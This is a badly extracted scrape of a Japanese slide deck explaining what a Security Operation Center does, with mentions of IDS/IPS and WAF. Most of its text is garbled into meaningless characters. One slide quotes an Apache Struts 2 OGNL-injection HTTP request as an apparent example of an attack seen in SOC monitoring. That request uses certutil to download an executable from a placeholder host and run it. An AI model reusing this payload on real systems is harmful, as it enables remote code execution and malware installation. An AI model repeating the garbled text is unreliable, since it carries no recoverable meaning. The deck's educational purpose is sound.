SOCって何_公開用_-圧縮済み.pdf

SOC 25

*9<4 ´ /+ sec-chick@one_sec_chick : ´ 5) #&',-
.1PSOC ' ´ =7 "!%8630;2($

SOC <8 -. Security Operation Center > )7 WAFIDS/IPS%&
=2! '3(04/$?"1/:5,;*9 +6 <804/$? ,; <8# SOC

´ IDSIPSWAF")%& +* ('#!$ +* IDS/IPS/WAF +*%&

´ IDSIPSWAF!$,'( .- +)% #& /##& IDS/IPS/WAF
*0 #& "

SOC 7 ´ -. 9546 '+%0 ´ :831,
2/($*-.#" 95&; :8 -. :8)< 2/( 95&; :8! SOC

SOC #" #" !

´ GET /struts2-rest-showcase/orders.xhtml HTTP/1.1
Connection: Keep-Alive..Content-Type: %{(#nike='multipart/form- data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_member Access?(#_memberAccess=#dm): (#cmd='cmd.exe /c certutil.exe -urlcache -split -f hxxp://xxx.xxx.com/download.exe C:/Windows/temp/fexbxidrwkqkbyt9335.exe & cmd.exe /c C:/Windows/temp/fexbxidrwkqkbyt9335.exe').(#iswin=(@java.lang.System@ getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process= #p.start()). Accept: */*..Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: hogehoge.com:82

'50;hgd! ´ SOC & %WR "a_ WR 1. -/.-,1]
400\T$a_ [Z#YUM ? 2. jQ]%V# Apache Struts 2 keM%bDO# jQApache Struts 2 %PG $a_HNC 3. L@DO=> EBa_L@ "36)*'%(8-06# a_ Nf"L@DO =># c^ %WR:Ja_# WR ;h#IAa_<F 27+548+ DO270,6i9S` XK

SOC)2 ´ ,* )21. SOC
4/3 0'$ +5 SOC'$+5) " &(#%(!$-

SOCqx ´ < SISOC58+63(HI)SOC@x ´ SISOCV tp(fjHISOC O tp(u`fj SISOC
tp)83(fjCdXv SINnchfj/@ V tpzMSLA( F!$ 1;eK$)83V Y Z])83" tpJ] 24DE365;_L$ IDS/IPSWAF)83(Z] $Nn(fj$ Y HISOCg$orP 58+63(HI)SOC Ck tp (fj$ 1,792*I{ HI\W"^)83(@ aQdys%.4 TlI|R?' ADFW5:,/"fj $& Y wGmys"Ck$ Y JiJ#>UDE$A?"$ Z]SISOCgb! u~=(}[ !-03B

@SOC>- ´ 56 )#+%#73 ´ $!'56B1, &$!'73 ´
?=.849 ´ etc,etc……. ´ (*"2<:;//C0A

´ SOCSecurity Operation Center b$ )+%=T WAFIDS/IPS 01 *&aL,!
3M4JN/.c-KI[PB\ ´ SOC$ )+%'+#&>7^W/:9A VBUDYF*&.c;H ´ @6SOC_< ZU*&JN (IDS/IPS,WAF C`O ´ 56SOCd? ZURQ[GJN/.c ]4S^WN82AD(, "FWXE*& ,!JN

SOCって何_公開用_-圧縮済み.pdf

SOCって何_公開用_-圧縮済み.pdf

sec-chick

More Decks by sec-chick

Other Decks in Science

Featured

Transcript

SOC 25

*9<4 ´ /+ sec-chick@one_sec_chick : ´ 5) #&',-

SOC <8 -. Security Operation Center > )7 WAFIDS/IPS%&

´ IDSIPSWAF")%& + ('#!$ + IDS/IPS/WAF +*%&

´ IDSIPSWAF!$,'( .- +)% #& /##& IDS/IPS/WAF

SOC 7 ´ -. 9546 '+%0 ´ :831,

SOC #" #" !

´ GET /struts2-rest-showcase/orders.xhtml HTTP/1.1

'50;hgd! ´ SOC & %WR "a_ WR 1. -/.-,1]

SOC)2 ´ ,* )21. SOC

SOCqx ´ < SISOC58+63(HI)SOC@x ´ SISOCV tp(fjHISOC O tp(u`fj SISOC

@SOC>- ´ 56 )#+%#73 ´ $!'56B1, &$!'73 ´

´ SOCSecurity Operation Center b$ )+%=T WAFIDS/IPS 01 *&aL,!